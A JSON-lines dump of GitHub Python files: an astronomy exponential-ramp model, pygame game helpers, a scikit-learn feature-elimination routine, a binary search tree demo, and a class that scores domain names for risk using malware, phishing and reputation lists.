\"\"\"Initialize the exponential ramp model\n \"\"\"\n # Inherit from Model class\n super().__init__(**kwargs)\n\n # Define model type (physical, systematic, other)\n self.modeltype = 'systematic'\n\n # Check for Parameters instance\n self.parameters = kwargs.get('parameters')\n\n # Generate parameters from kwargs if necessary\n if self.parameters is None:\n coeff_dict = kwargs.get('coeff_dict')\n params = {rN: coeff for rN, coeff in coeff_dict.items()\n if rN.startswith('r') and rN[1:].isdigit()}\n self.parameters = Parameters(**params)\n\n # Set parameters for multi-channel fits\n self.longparamlist = kwargs.get('longparamlist')\n self.nchan = kwargs.get('nchan')\n self.paramtitles = kwargs.get('paramtitles')\n\n # Update coefficients\n self._parse_coeffs()\n\n def _parse_coeffs(self):\n \"\"\"Convert dict of 'r#' coefficients into a list\n of coefficients in increasing order, i.e. ['r0','r1','r2']\n\n Parameters\n ----------\n None\n\n Returns\n -------\n np.ndarray\n The sequence of coefficient values\n \"\"\"\n # Parse 'r#' keyword arguments as coefficients\n self.coeffs = np.zeros((self.nchan, 6))\n for k, v in self.parameters.dict.items():\n remvisnum=k.split('_')\n if k.lower().startswith('r') and k[1:].isdigit():\n self.coeffs[0,int(k[1:])] = v[0]\n elif len(remvisnum)>1 and self.nchan>1:\n if remvisnum[0].lower().startswith('r') and remvisnum[0][1:].isdigit() and remvisnum[1].isdigit():\n self.coeffs[int(remvisnum[1]),int(remvisnum[0][1:])] = v[0]\n\n def eval(self, **kwargs):\n \"\"\"Evaluate the function with the given values\"\"\"\n # Get the time\n if self.time is None:\n self.time = kwargs.get('time')\n\n # Convert to local time\n time_local = self.time - self.time[0]\n\n # Create the ramp from the coeffs\n lcfinal=np.array([])\n for c in np.arange(self.nchan):\n r0, r1, r2, r3, r4, r5 = self.coeffs[c]\n lcpiece = r0*np.exp(-r1*time_local + r2) + r3*np.exp(-r4*time_local + r5) + 1\n lcfinal = np.append(lcfinal, lcpiece)\n return lcfinal\n\n","repo_name":"munazzaalam/Eureka","sub_path":"eureka/S5_lightcurve_fitting/models/ExpRampModel.py","file_name":"ExpRampModel.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"70238062670","text":"import pygame\nimport classes\nimport random\nfrom classes import *\nfrom main import *\nfrom math import sqrt, ceil, floor\n\n\ndef createPlayer(ListOfThem, sprite):\n ListOfThem.append(classes.PLAYER(0.0, 0.0, 32, 41, 2, 0.0, 0.0, sprite))\n return ListOfThem\n\n\ndef createEntity(ListOfThem, Vx, Vy, Ch, Cv, Ac, Px, Py, Sprite):\n ListOfThem.append(classes.ENTITY(Vx, Vy, Ch, Cv, Ac, Px, Py, Sprite))\n return ListOfThem\n\n\ndef createMBG(ListOfThem, ListOfSprites, a):\n b = random.randint(0, 20)\n if a:\n c = random.randint(0, 9001)\n if 10 <= c <= 29:\n ListOfThem.append(\n classes.MBG((b)/2, random.randint(-1, 1) / 10, 0, 0, 1, random.randint(2, Screen[1]-5), ListOfSprites[0]))\n elif 30 <= c <= 49:\n ListOfThem.append(\n classes.MBG((b)/2, random.randint(-1, 1) / 10, 0, 0, 1, random.randint(2, Screen[1]-5), ListOfSprites[1]))\n elif 50 <= c <= 69:\n ListOfThem.append(\n classes.MBG((b)/2, random.randint(-1, 1) / 10, 0, 0, 1, random.randint(2, Screen[1]-5), ListOfSprites[2]))\n elif c == 4:\n ListOfThem.append(\n classes.MBG((b)/ 20, random.randint(-1, 1) / 10, 0, 0, 1, random.randint(2, Screen[1]-5), ListOfSprites[3]))\n elif c == 5:\n ListOfThem.append(\n classes.MBG((b)/ 20, random.randint(-1, 1) / 10, 0, 0, 1, random.randint(2, Screen[1]-5), ListOfSprites[4]))\n else:\n if b == 1:\n ListOfThem.append(classes.MBG(random.randint(-10, 10)/10, b/2, 0, 0, random.randint(10, Screen[0]-5), 0.0, ListOfSprites[0]))\n elif b == 2:\n ListOfThem.append(classes.MBG(random.randint(-10, 10)/10, b/2, 0, 0, random.randint(20, Screen[1]-5), 0.0, ListOfSprites[1]))\n elif b == 3:\n ListOfThem.append(classes.MBG(random.randint(-10, 10)/10, b/2, 0, 0, random.randint(20, Screen[1]-5), 0.0, ListOfSprites[2]))\n elif b == 4:\n ListOfThem.append(classes.MBG(random.randint(-10, 10)/10, b/2, 0, 0, random.randint(20, Screen[1]-5), 0.0, ListOfSprites[3]))\n elif b == 5:\n ListOfThem.append(classes.MBG(random.randint(-10, 10)/10, b/2, 0, 0, random.randint(20, Screen[1]-5), 0.0, ListOfSprites[4]))\n return ListOfThem\n\n\ndef updatePlayerPos(Player, level): # Currently not used\n TestablePos = updatePlayerVelocity(Player)\n CollisionDetectionRange = ceil((sqrt(Player.characterHeightX ^ 2 + Player.characterHeightY ^ 2) + Player.maxVelocity) / 32)\n i = 0\n j = 0\n for Line in level:\n for Tile in Line:\n OldPos = [Player.PosY, Player.PosX]\n NewPos = TestablePos.copy()\n FinalPlayerPos = TestablePos.copy()\n while(CharacterInsideTile(FinalPlayerPos, Player, level, i ,j)):\n TestPos = [round(average([NewPos[0], OldPos[0]])), round(average([NewPos[1], OldPos[1]]))]\n if(CharacterInsideTile(TestPos, Player, level, i ,j)):\n OldPos = TestPos.copy()\n elif(getDistance < 2):\n FinalPos = TestPos.copy\n else:\n NewPos = TestPos.copy()\n j += 1\n i += 1\n Player.PosX = FinalPos[0]\n Player.PosY = FinalPos[1]\n return Player\n\ndef average(ListOfNumbers):\n Sum = 0\n for Number in ListOfNumbers:\n Sum += Number\n return Sum / len(ListOfNumbers)\n\ndef getDistance(Pos1, Pos2):\n if(Pos1[0]-Pos2[0] < 0):\n y = (-1) * Pos1[0]-Pos2[0]\n else:\n y = Pos1[0]-Pos2[0]\n if(Pos1[1]-Pos2[2] < 0):\n x = (-1) * Pos1[1]-Pos2[1]\n else:\n x = Pos1[1]-Pos2[1]\n return sqrt(y^2 + x^2)\n\n\ndef CharacterInsideTile(TestablePlayerPos, Player, y, x):\n if (TestablePlayerPos[0] <= y + 32) and (TestablePlayerPos[0] + Player.characterHeightX >= y):\n if (TestablePlayerPos[1] <= x + 32) and (TestablePlayerPos[1] + Player.characterHeightY >= x):\n return True\n return False\n\n\ndef updatePlayerVelocity(Player):\n return [Player.playerPosY + Player.VelocityY, Player.playerPosX + Player.VelocityX]\n\n\ndef getInput(Player):\n key = pygame.key.get_pressed()\n if key[pygame.K_ESCAPE]:\n return 1\n if key[pygame.K_UP]:\n moveY(Player, 1)\n if key[pygame.K_DOWN]:\n moveY(Player, -1)\n if key[pygame.K_LEFT]:\n moveX(Player, -1)\n if key[pygame.K_RIGHT]:\n moveX(Player, 1)\n if key[pygame.K_SPACE]:\n moveY(Player, 1)\n\n\ndef mouse():\n c1 = pygame.mouse.get_pressed(num_buttons=3)\n e1 = pygame.mouse.get_pos()\n if c1:\n return [True, e1]\n else:\n return [False, e1]\n\n\ndef moveY(Entity, Times):\n Entity.VelocityY += Entity.MovementAcceleration * Times * (-1)\n return Entity\n\n\ndef moveX(Entity, Times):\n Entity.VelocityX += Entity.MovementAcceleration * Times\n return Entity\n\n\ndef jump(Entity):\n Entity.VelocityY = Entity.jumpStrength\n return Entity\n\n\ndef gravity(Entity): #TODO Grounded\n if (Entity.grounded is False):\n Entity.VelocityY += 1\n return Entity\n\n\ndef momentResistanece(Entity):\n Entity.VelocityY = Entity.VelocityY * 0.9\n Entity.VelocityX = Entity.VelocityX * 0.9\n\n\ndef movement(entity):\n entity.PosX += entity.VelocityX\n if entity.PosX < 0:\n entity.PosX = 0\n elif entity.PosX > Screen[0]-entity.characterHeightX:\n entity.PosX = Screen[0]-entity.characterHeightX\n entity.PosY += entity.VelocityY\n if entity.PosY < 0:\n entity.PosY = 0\n elif entity.PosY > Screen[1]-entity.characterHeightY:\n entity.PosY = Screen[1]-entity.characterHeightY\n\n\ndef MovementReverseX(Entity):\n Entity.VelocityX = (-1) * Entity.VelocityX\n return Entity\n\n\ndef MovementReverseY(Entity):\n Entity.VelocityY = (-1) * Entity.VelocityY\n return Entity\n\n\ndef randomMGBGenerator(ListOfThem, ListOfSprites, a):\n ListOfThem = (createMBG(ListOfThem, ListOfSprites, a))\n return ListOfThem\n\n\ndef EntityCheckList(list):\n for Entity in list:\n # gravity(Entity)\n movement(Entity)\n momentResistanece(Entity)\n return list\n # Player = updatePlayerPos(Player, level)\n\n\ndef MBGCheckList(List, List2, Player):\n leafcounter = False\n List = (randomMGBGenerator(List, List2, 0))\n counter = 0\n for Entity in List:\n movement(Entity)\n Dest = Entity.destroy()\n if Dest == 1:\n List.pop(counter)\n if detectEntityCollision(Player, Entity):\n List.pop(counter)\n leafcounter = True\n counter += 1\n\n return List, leafcounter\n\n\ndef MBGCheckListWP(List, List2):\n List = (randomMGBGenerator(List, List2, 1))\n counter = 0\n for Entity in List:\n movement(Entity)\n Dest = Entity.destroy()\n if Dest == 1:\n List.pop(counter)\n\n counter += 1\n\n return List\n\n\ndef detectEntityCollision(entity1, entity2):\n # entity1 on pelaajahahmo, jos se on osa tarkastusta\n # katsotaan onko entity:t päällekkäin x-suunnassa\n if (entity1.PosX <= entity2.PosX + entity2.characterHeightX) and (entity1.PosX + entity1.characterHeightX >= entity2.PosX):\n # katsotaan onko entity:t päällekkäin y-suunnassa\n if (entity1.PosY <= entity2.PosY + entity2.characterHeightY) and (entity1.PosY + entity1.characterHeightY >= entity2.PosY):\n return True\n return False\n\n\ndef drawWhole(ListOfList, display):\n for List in ListOfList:\n for Object in List:\n display.blit(Object.sprite, (Object.PosX, Object.PosY)) # Piirtää listanmukaisesti jokaisen objectin\n pygame.display.flip()\n\n","repo_name":"jepuli124/UltimaattinenLegendaarinenEBINFGJ","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":7577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"5572498673","text":"import numpy as np\n\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import StratifiedShuffleSplit\nimport sklearn.linear_model as skllm\nimport sklearn.preprocessing as skprp\nimport sklearn.pipeline as skppl\nimport sklearn.feature_selection as skfs\n\n\nclass RFE_pipeline(skppl.Pipeline):\n '''\n MLR adapted for recursive feature elimination (RFE)\n '''\n def fit(self, X, y=None, **fit_params):\n \"\"\"simply extends the pipeline to recover the coefficients (used by RFE) from the last element (the classifier)\n \"\"\"\n super(RFE_pipeline, self).fit(X, y, **fit_params)\n self.coef_ = self.steps[-1][-1].coef_\n return self\n\ndef rec_feature_elimination(select_feats_n, class_feats, class_labels, repetitions):\n \"\"\"\n @param select_feats_n The number of reduced features\n @param class_feats An array that contains the features for each class.\n @param class_labels An array that contains the labels of each class\n @param repetitions The number of repetitions\n\n @return (The best performing features, the corresponding performance on the test data, the trained models)\n \"\"\"\n\n ### Scale & Split\n cv = StratifiedShuffleSplit(repetitions, test_size=0.2, random_state=420)\n\n data = np.concatenate([feat.flatten() for feat in class_feats])\n labels = np.concatenate([np.full((len(class_feats[i].flatten())), class_labels[i])\n for i in range(len(class_feats))])\n\n\n scaler = preprocessing.StandardScaler().fit( data )\n data = scaler.transform(data)\n cv_split = cv.split(data, labels)\n\n # Build RFE pipeline\n c_MLR = RFE_pipeline([('std_scal',skprp.StandardScaler()),('clf',skllm.LogisticRegression(C=1.0, penalty='l2', multi_class='multinomial', solver='lbfgs', max_iter=500))])\n\n _ , feats = data.shape\n\n if(float(select_feats_n)<=1):\n select_feats_n= int(np.round(feats*float(select_feats_n)))\n elif(int(select_feats_n)>data.shape[-1]):\n select_feats_n = feats\n\n RFE = skfs.RFE(c_MLR,n_features_to_select=int(select_feats_n))\n\n ranking = np.zeros([repetitions,feats],dtype=np.int32)\n perf = np.zeros((repetitions))\n decoders = []\n\n ### Train & Eval\n for i, (train_i, test_i) in enumerate(cv_split):\n\n RFE = RFE.fit(data[train_i, :], labels[train_i])\n ranking[i,:] = RFE.ranking_\n best_feat_iter = np.sort(np.argsort(ranking[i])[:int(select_feats_n)])\n perf[i] = RFE.estimator_.score(data[test_i, :][:,best_feat_iter], labels[test_i])\n decoders.append(RFE.estimator_)\n\n selected_feats = np.argsort(ranking.mean(0))[:int(select_feats_n)]\n\n\n return selected_feats, perf, decoders","repo_name":"michaelschaub/calcium-imaging-analysis","sub_path":"ci_lib/feature_selection/feature_elimination.py","file_name":"feature_elimination.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"71580951308","text":"\"\"\"\nHunter Mitchell\n10/28/20\nDescription:\nImplementing a Binary Search Tree data structure in Python. Then testing different search methods\nincluding a Depth First Search and Breadth First Search\n\"\"\"\n\n\n\nclass Node:\n 'This class represents a node'\n\n def __init__(self,value,left=None,right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\n\nclass BST:\n 'This class represents a Binary Search Tree'\n\n def __init__(self,root):\n self.root = Node(root)\n\n def add_leaf(self,leaf): # add leaf to tree\n temp = self.root\n while (temp != None):\n if (leaf < temp.value): \n if (temp.left == None):\n temp.left = Node(leaf)\n temp = None\n else:\n temp = temp.left\n\n elif (leaf > temp.value):\n if (temp.right == None):\n temp.right = Node(leaf)\n temp = None\n else:\n temp = temp.right\n else :\n print('same value as something in here already')\n temp = None\n\n\n def print_bst_dfs_iter(self): # print the binary search tree using depth first method iteratively\n\n temp = self.root\n print(temp.value)\n visited = [temp] # list of what nodes have been visited\n stack = [temp] # our stack\n\n while (len(stack) != 0):\n\n temp = stack[-1]\n\n if (temp.left != None and temp.left not in visited):\n temp = temp.left\n print(temp.value)\n stack.append(temp)\n visited.append(temp)\n elif (temp.right != None and temp.right not in visited):\n temp = temp.right\n print(temp.value)\n stack.append(temp)\n visited.append(temp)\n else :\n stack.pop()\n\n\n def print_bst_dfs_recur(self,curr): # print the binary search tree using depth first method recursively\n\n print(curr.value)\n if curr.left != None:\n self.print_bst_dfs_recur(curr.left)\n if curr.right != None:\n self.print_bst_dfs_recur(curr.right)\n\n\n def print_bst_bfs(self): # print the binary search tree using breadth first method\n\n print(self.root.value)\n queue = [self.root]\n while (len(queue) != 0):\n for temp in queue[:]:\n if (temp.left != None):\n queue.append(temp.left)\n print(temp.left.value)\n if (temp.right != None):\n queue.append(temp.right)\n print(temp.right.value)\n queue.pop(0)\n \n\n\n\n\nif __name__ == \"__main__\":\n\n\n\n bst1 = BST(5)\n for i in [3,1,4,8,10]:\n bst1.add_leaf(i)\n\n\n print('Printing BST using DFS Iteratively')\n bst1.print_bst_dfs_iter()\n print('Printing BST using DFS Recursively')\n bst1.print_bst_dfs_recur(bst1.root)\n print('Printing BST using BFS')\n bst1.print_bst_bfs()\n\n\n","repo_name":"huntermitchell123/Structures_and_Algorithms","sub_path":"bfs_vs_dfs_tree.py","file_name":"bfs_vs_dfs_tree.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"389750999","text":"import json\nimport os\nfrom csv import DictReader\n\nfrom config import ES_SOCKET\nfrom classes.AlexaTop import AlexaTop\nfrom classes.Domain import Domain\nfrom classes.DomainToolsRegistrars import DomainToolsRegistrars\nfrom classes.KnujOn import KnujOn\nfrom classes.MalwareDomains import MalwareDomains\n# from classes.ZonefileDomains import ZonefileDomains\nfrom classes.Phishtank import Phishtank\nfrom classes.RedCanaryEntropy import RedCanaryEntropy\nfrom classes.Registrarprices import Registrarprices\nfrom classes.Resolver import Resolver\nfrom classes.SpamhausReg import SpamhausReg\nfrom classes.SpamhausTld import SpamhausTld\nfrom classes.TldScoring import TldScoring\nfrom classes.AlexaTop import AlexaTop\nfrom classes.DomainAge import DomainAge\n# TODO: Hadn't added LehighTypoSquat subscore !\nfrom classes.LehighTypoSquat import LehighTypoSquat\nfrom classes.AlexaLevenSimilarity import AlexaLevenSimilarity\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndomains = list()\nqueried_entry = dict()\n\n# to load the file from disk\ndata = None\ndocuments = list()\n\n\n# Create as a singleton class\nclass FinalScore:\n __instance = None\n\n @staticmethod\n def getInstance():\n \"\"\" Static access method. \"\"\"\n if FinalScore.__instance == None:\n FinalScore()\n return FinalScore.__instance\n\n def __init__(self, path=None):\n \"\"\" Virtually private constructor. \"\"\"\n if FinalScore.__instance is not None:\n raise Exception(\"This class is a singleton!\")\n else:\n FinalScore.__instance = self\n self._path = path\n # Thresholds\n self.__domain_tools = [0.0974, 0.1354, 0.1499, 0.1611, 0.3098, 0.3871, 0.4128, 1.0347, 1.3267, 1.4000]\n self.__knujon = [0.0500, 0.08, 0.016, 0.017, 0.26, 0.38, 0.70, 0.80, 0.945, 1]\n self.__entropy = [0.025, 0.057, 0.069, 0.127, 0.1611, 0.2, 0.4, 0.6, 0.8, 1]\n self.__regprice = [0.18, 0.20, 0.2146, 0.3051, 0.401, 0.589, 0.6, 0.761, 0.878, 1]\n self.__spamtld = [0.00249, 0.0174, 0.0287, 0.0423, 0.0623, 0.0659, 0.2, 0.289, 0.415, 0.69]\n self.__domain_age = [0.028, 0.0525, 0.0825, 0.1125, 0.2375, 0.2875, 0.4325, 0.4725, 0.5475, 0.9375]\n\n # if self._path is None:\n # print(\"Scoring Domains from Elasticsearch\")\n # else:\n # print(\"Scoring Domains from Flat JSON File\")\n\n def combineScore(self):\n subscore_weights = dict()\n return\n\n def simplecombineScore0(self, current_domain):\n # TODO: Make raw_final_score dict so it is easier to determine which subscore was which score get .values\n raw_final_score = dict()\n # if found in malwaredomains list or phishtank give the domain the max score\n # TODO: Later I probably want to use set_subscore instead of simplescores and say phishtank or malware\n # TODO: for why a domain got a domain score of 10\n if current_domain.simplescores['malware_domain'] or current_domain.simplescores['phishtank']:\n return 10\n\n # if found in alexatop give it the minimum score\n if current_domain.simplescores['alexatop']:\n return 0\n\n if current_domain.simplescores['isBogon']:\n raw_final_score['isBogon'] = 10\n return 10\n\n # TODO: Do we just want to return if it doesn't resolve ?\n # TODO: why would we want to continue scoring ?\n resolves = current_domain.simplescores['resolves']\n alexaLev = current_domain.simplescores['AlexaLevSim_score']\n raw_final_score['AlexaLevSim_score'] = int(alexaLev * 10)\n\n # if it is typosquatting lehigh make that part of the score 10\n # TODO: consider making the final score a 10\n if current_domain.simplescores['lehigh-typosquat']:\n raw_final_score['lehigh-typosquat'] = 10\n # If it is not then don't include it in final score just omit it\n\n # if it does not resolve slightly risky\n raw_final_score['resolves'] = 6\n\n if resolves:\n raw_final_score['resolves'] = 5\n # TODO: might want to change this threshold value .8 ?\n # TODO: or scale how you want to increase the score instead of just adding 2\n if alexaLev >= .8:\n # if it resolves and resembles a Alexa top domains this could be a phishing domain\n # increase score\n raw_final_score['resolves'] = 10\n # return sum(raw_final_score.values()) / len(raw_final_score)\n\n # Already had thresholded TTL risk in the class itself\n raw_final_score['ttlRisk'] = int(current_domain.simplescores['ttlRisk'] * 10)\n # If it is ever found in the spamhausreg list - set subscore to 10 because this is very rare\n if current_domain.simplescores['spamhausreg'] is not False:\n raw_final_score['spamhausreg'] = 10\n\n # raw_final_score['zonefiles_tld'] = int(current_domain.simplescores['zonefiles_tld'] * 10)\n\n # GETTING DOMAINTOOLREGISTRAR SCORES\n # print(\"domaintools\", current_domain.simplescores['domaintoolsregistrars'])\n a = current_domain.simplescores['domaintoolsregistrars']\n b = current_domain.simplescores['knujon']\n c = current_domain.simplescores['DomainNameEntropy']\n d = current_domain.simplescores['registrar_prices']\n e = current_domain.simplescores['SpamhausTld']\n f = current_domain.simplescores['domain_age']\n scoreRange = 10\n for i in range(scoreRange - 1):\n if a < self.__domain_tools[0]:\n # raw_final_score.append(i)\n raw_final_score['domaintoolsregistrars'] = i\n if self.isbetween(a, self.__domain_tools[i], self.__domain_tools[i + 1]):\n # raw_final_score.append(i + 1)\n raw_final_score['domaintoolsregistrars'] = i + 1\n if b < self.__knujon[0]:\n # raw_final_score.append(i)\n raw_final_score['knujon'] = i\n if self.isbetween(b, self.__knujon[i], self.__knujon[i + 1]):\n # raw_final_score.append(i + 1)\n raw_final_score['knujon'] = i + 1\n if c < self.__entropy[0]:\n # raw_final_score.append(i)\n raw_final_score['DomainNameEntropy'] = i\n\n if self.isbetween(c, self.__entropy[i], self.__entropy[i + 1]):\n # raw_final_score.append(i + 1)\n raw_final_score['DomainNameEntropy'] = i + 1\n\n if d < self.__regprice[0]:\n # raw_final_score.append(i)\n raw_final_score['registrar_prices'] = i\n\n if self.isbetween(d, self.__regprice[i], self.__regprice[i + 1]):\n # raw_final_score.append(i + 1)\n raw_final_score['registrar_prices'] = i + 1\n\n if e < self.__spamtld[0]:\n # raw_final_score.append(i)\n raw_final_score['SpamhausTld'] = i\n if self.isbetween(e, self.__spamtld[i], self.__spamtld[i + 1]):\n # raw_final_score.append(i + 1)\n raw_final_score['SpamhausTld'] = i + 1\n\n if f < self.__domain_age[0]:\n # raw_final_score.append(i)\n raw_final_score['domain_age'] = i\n if self.isbetween(f, self.__domain_age[i], self.__domain_age[i + 1]):\n # raw_final_score.append(i + 1)\n raw_final_score['domain_age'] = i + 1\n\n if a > self.__domain_tools[9]:\n # raw_final_score.append(10)\n raw_final_score['domaintoolsregistrars'] = 10\n\n if b > self.__knujon[9]:\n # raw_final_score.append(10)\n raw_final_score['knujon'] = 10\n\n if c > self.__entropy[9]:\n # raw_final_score.append(10)\n raw_final_score['DomainNameEntropy'] = 10\n\n if d > self.__regprice[9]:\n # raw_final_score.append(10)\n raw_final_score['registrar_prices'] = 10\n\n if e > self.__spamtld[9]:\n # raw_final_score.append(10)\n raw_final_score['SpamhausTld'] = 10\n\n if f > self.__domain_age[9]:\n # raw_final_score.append(10)\n raw_final_score['domain_age'] = 10\n\n # TODO Thurday 12/17: Add 'isNotResolves', 'isBogon', 'ttlRisk', 'spamhausreg', 'zonefiles_tld',\n # TODO: 'lehigh-typosquat', 'AlexaLevSim_score', 'AlexaLevSim_domain'\n\n avg_raw_final = sum(raw_final_score.values()) / len(raw_final_score)\n # print(\"\\ncurrent domain: \", current_domain.domain)\n # print(\"total raw score: \", raw_final_score)\n # print(\"\\navg score: \", avg_raw_final)\n\n return avg_raw_final\n\n def isbetween(self, x, x_min, x_max):\n return x_min <= x <= x_max\n\n def getScore0(self):\n final_score = -1\n # TODO: Change this so it uses path attribute and not hard coded\n\n # \"../script_results/All_ES_domains_1026.json\"\n with open(self._path, \"r\") as f:\n # parses json string and get dictionary\n data = json.loads(f.read())\n\n malware_domains = MalwareDomains(\"../mal_domains/justdomains.txt\")\n # zonefile_domains = ZonefileDomains('../datasets/zonefile_domains_full.txt')\n phishtank = Phishtank(\"../mal_domains/verified_online.csv\")\n domaintools_reg = DomainToolsRegistrars(\"../datasets/domaintools_registrars.csv\")\n knujon = KnujOn(\"../datasets/KnujOn.html\")\n entropy = RedCanaryEntropy()\n registrar_prices = Registrarprices(\"../TLD_PRICING/TLD_PRICES_AVGBYREG.csv\")\n resolver = Resolver()\n spamhaus_reg = SpamhausReg()\n spamhaus_tld = SpamhausTld(\"../datasets/spamhaus_tlds.csv\")\n\n # TODO: Consider removing, doesnt produce good scores\n # zonefiles_tld = TldScoring(\"../datasets/ZoneFilesTLDs.html\")\n alexatop = AlexaTop(\"../datasets/alexa_top_100k.csv\")\n domain_age = DomainAge()\n lehigh_typo = LehighTypoSquat(\"../datasets/lehigh-typostrings.txt\")\n alexaLSim = AlexaLevenSimilarity()\n\n i = 0\n\n scored = 0\n dom_count = 0\n for hit in data:\n dom_count = dom_count + 1\n # json data is custom python object\n # https://pynative.com/python-convert-json-data-into-custom-python-object/\n\n # gatattr - returns the value of the named attribute of an object\n score_times = dict()\n current_domain = Domain(hit['_domain'],\n hit['_registrar'],\n hit['_age'])\n\n current_domain.set_simplescore('malware_domain', malware_domains.score(current_domain))\n # current_domain.set_simplescore('zonefile_domain', zonefile_domains.score(current_domain))\n current_domain.set_simplescore('phishtank', phishtank.score(current_domain))\n current_domain.set_simplescore('domaintoolsregistrars', domaintools_reg.score(current_domain))\n current_domain.set_simplescore('knujon', knujon.score(current_domain))\n current_domain.set_simplescore('DomainNameEntropy', entropy.score(current_domain))\n current_domain.set_simplescore('registrar_prices', registrar_prices.score(current_domain))\n current_domain.set_simplescore('resolves', resolver.score(current_domain)[0])\n current_domain.set_simplescore('isBogon', resolver.score(current_domain)[1])\n current_domain.set_simplescore('ttlRisk', resolver.score(current_domain)[2])\n current_domain.set_simplescore('spamhausreg', spamhaus_reg.score(current_domain))\n current_domain.set_simplescore('SpamhausTld', spamhaus_tld.score(current_domain))\n # TODO: TOO slow to score right now\n # current_domain.set_simplescore('zonefiles_tld', zonefiles_tld.score(current_domain))\n\n current_domain.set_simplescore('alexatop', alexatop.score(current_domain))\n current_domain.set_simplescore('domain_age', DomainAge.score(current_domain))\n current_domain.set_simplescore('lehigh-typosquat', lehigh_typo.score(current_domain))\n current_domain.set_simplescore('AlexaLevSim_score', alexaLSim.score(current_domain)[0])\n current_domain.set_simplescore('AlexaLevSim_domain', alexaLSim.score(current_domain)[1])\n current_domain.set_simplescore('DomainName', current_domain.domain)\n current_domain.set_simplescore('Registrar', current_domain.registrar)\n\n avg_score = self.simplecombineScore0(current_domain)\n current_domain.set_simplescore('final_score', str(avg_score))\n\n # TODO: if we are using the other subscore system with nested json + note\n # TODO: for now using the simplescore method because it is easier to graph and do analysis\n # TODO: for final product switch and update set_subscore as same values as simplescore\n current_domain.set_subscore(\"final_score\",\n {\"score\": str(avg_score),\n \"note\": \"This is the final score based on average subscores\"})\n\n print(current_domain.simplescores)\n print('------------------------------------------------------------------domain #', dom_count)\n\n # return\n\n documents.append(current_domain.simplescores)\n\n if dom_count % 10 == 0:\n file_name = \"c_\" + str(dom_count) + \"final_scores01_phish_data0112.json\"\n # write the scores from all the datsets into one file of scores\n with open(file_name, \"w\") as f:\n f.write(json.dumps(documents))\n f.flush()\n os.fsync(f.fileno())\n\n with open(\"../script_results/finaldomainscores0112.json\", \"w\") as f:\n f.write(json.dumps(documents))\n f.close()\n return avg_score\n\n def get_score_single_domain(self, current_domain, check_phish=False, check_mal=False, check_alexa=False):\n\n malware_domains = MalwareDomains(\"../mal_domains/justdomains.txt\")\n # zonefile_domains = ZonefileDomains('../datasets/zonefile_domains_full.txt')\n phishtank = Phishtank(\"../mal_domains/verified_online.csv\")\n domaintools_reg = DomainToolsRegistrars(\"../datasets/domaintools_registrars.csv\")\n knujon = KnujOn(\"../datasets/KnujOn.html\")\n entropy = RedCanaryEntropy()\n registrar_prices = Registrarprices(\"../TLD_PRICING/TLD_PRICES_AVGBYREG.csv\")\n resolver = Resolver()\n spamhaus_reg = SpamhausReg()\n spamhaus_tld = SpamhausTld(\"../datasets/spamhaus_tlds.csv\")\n\n # TODO: Consider removing, doesnt produce good scores\n # zonefiles_tld = TldScoring(\"../datasets/ZoneFilesTLDs.html\")\n alexatop = AlexaTop(\"../datasets/alexa_top_100k.csv\")\n domain_age = DomainAge()\n lehigh_typo = LehighTypoSquat(\"../datasets/lehigh-typostrings.txt\")\n alexaLSim = AlexaLevenSimilarity()\n\n current_domain.set_simplescore('malware_domain', malware_domains.score(current_domain))\n # current_domain.set_simplescore('zonefile_domain', zonefile_domains.score(current_domain))\n\n if not check_phish:\n current_domain.set_simplescore('phishtank', phishtank.score(current_domain))\n else:\n current_domain.set_simplescore('phishtank', False)\n\n if not check_alexa:\n current_domain.set_simplescore('alexatop', alexatop.score(current_domain))\n else:\n current_domain.set_simplescore('alexatop', False)\n\n if not check_mal:\n current_domain.set_simplescore('malware_domain', malware_domains.score(current_domain))\n else:\n current_domain.set_simplescore('malware_domain', False)\n\n current_domain.set_simplescore('domaintoolsregistrars', domaintools_reg.score(current_domain))\n current_domain.set_simplescore('knujon', knujon.score(current_domain))\n current_domain.set_simplescore('DomainNameEntropy', entropy.score(current_domain))\n current_domain.set_simplescore('registrar_prices', registrar_prices.score(current_domain))\n current_domain.set_simplescore('resolves', resolver.score(current_domain)[0])\n current_domain.set_simplescore('isBogon', resolver.score(current_domain)[1])\n current_domain.set_simplescore('ttlRisk', resolver.score(current_domain)[2])\n current_domain.set_simplescore('spamhausreg', spamhaus_reg.score(current_domain))\n current_domain.set_simplescore('SpamhausTld', spamhaus_tld.score(current_domain))\n # TODO: TOO slow to score right now\n # current_domain.set_simplescore('zonefiles_tld', zonefiles_tld.score(current_domain))\n\n current_domain.set_simplescore('domain_age', DomainAge.score(current_domain))\n current_domain.set_simplescore('lehigh-typosquat', lehigh_typo.score(current_domain))\n current_domain.set_simplescore('AlexaLevSim_score', alexaLSim.score(current_domain)[0])\n current_domain.set_simplescore('AlexaLevSim_domain', alexaLSim.score(current_domain)[1])\n current_domain.set_simplescore('DomainName', current_domain.domain)\n current_domain.set_simplescore('Registrar', current_domain.registrar)\n\n avg_score = self.simplecombineScore0(current_domain)\n current_domain.set_simplescore('final_score', str(avg_score))\n\n # TODO: if we are using the other subscore system with nested json + note\n # TODO: for now using the simplescore method because it is easier to graph and do analysis\n # TODO: for final product switch and update set_subscore as same values as simplescore\n current_domain.set_subscore(\"final_score\",\n {\"score\": str(avg_score),\n \"note\": \"This is the final score based on average subscores\"})\n\n return avg_score\n\n\n# Scoring from JSON File\n''' \n# \"../script_results/All_ES_domains_1026.json\"\n# elk_path = 'C:/Users/rbd218/PycharmProjects/nod/scripts/domainscores1027_norm.json'\nelk_path = '../scripts/domainscores1027_norm.json'\ns = FinalScore(elk_path)\n# s = FinalScore()\n# print(s.type)\n# print(s.combineScore())\ns.getScore0()\n'''\n\n# Single domain Scoring Tests\n'''\ns = FinalScore()\ntest_domain0 = Domain(\"elccircuit.com\", \"idk\", 